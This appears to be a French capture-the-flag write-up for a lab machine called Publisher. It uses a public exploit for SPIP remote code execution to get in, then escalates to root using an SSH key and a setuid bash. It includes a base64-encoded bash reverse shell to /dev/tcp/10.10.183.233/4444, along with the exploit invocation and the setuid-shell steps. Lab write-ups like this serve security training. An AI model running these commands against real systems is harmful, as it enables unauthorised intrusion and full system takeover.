Publisher

Config

sudo echo '[IP] publisher.thm' >> /etc/hosts

Reconnaissance

nmap ip

Gobuster dir -u http://publisher -w /usr/share/wordlists/dirbuster/medium.txt
et
Gobuster dir -u http://publisher/spip -w /usr/share/wordlists/dirbuster/medium.txt

Dans le fichier on observe la version de spip : 4.2.

SPIP, avant la version 4.2.1, est vulnérable à l'exécution de code à distance en raison d'une mauvaise gestion de la des données dans les formulaires publics. Cette vulnérabilité se manifeste par la possibilité d'injecter du code PHP malveillant via le paramètre oubli, utilisé dans les formulaires de récupération de mot de passe. Comme les données utilisateur ne sont pas correctement traitées lors de la , un attaquant non authentifié peut exploiter cette faille pour exécuter des commandes arbitraires sur le serveur avec les privilèges de l'utilisateur web. Cette faille affecte plusieurs versions de SPIP, rendant de nombreux sites potentiellement vulnérables

Sur exploitDB on trouve l'exploit.

Convertir un reverse shell en Base64

echo -n "bash -i >& /dev/tcp/10.10.183.233/4444 0>&1" | base64 -w0
  • -w0 : spécifier la longueur de la ligne de sortie, ici avec une valeur de 0

  • -n : empêcher l'ajout d'un saut de ligne à la fin de la chaîne de caractères affichée.

Lancer l'attaque :

python3 CVE.py -u 'http://publisher.thm/spip/' -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xODMuMjMzLzQ0NDQgMD4mMQ==  | base64 -d | bash"

Recupérer le shell + user.txt.

On observe un dossier caché ".ssh" dans le repertoire de l'utilisateur think :

PRIVESC

Changer de user

Copier le fichier id_rsa sur kali, lui donner les droits et se connecter en ssh.

On observe que /bin/bash s'exécute en tant que root, donc on le copie dans /dev/shm car ce répertoire est accessible pour les utilisateurs et permet de stocker des fichiers temporaires. Cela nous aide à préparer un shell Bash avec des privilèges élevés.

Avant cela, nous étions dans ash, un shell limité. Copier /bin/bash dans /dev/shm nous permet de remplacer ash par Bash, offrant plus de fonctionnalités.

Ensuite, on exécute ./bash -p pour démarrer Bash avec des privilèges root, ce qui permet d'obtenir un accès complet au système.

Le script run_container.sh est modifiabke et a les droits root :

le fichier run_container_sh est modifiable et peut s'exécuter en tant que root. Voici ce que fait le script modifié :

  • Copie /bin/bash dans /tmp/default : Cela place une copie du shell Bash (qui a des privilèges root) dans un répertoire temporaire.

  • Définit le bit setuid : Cela rend la copie du shell Bash exécutable avec des privilèges root.

Last updated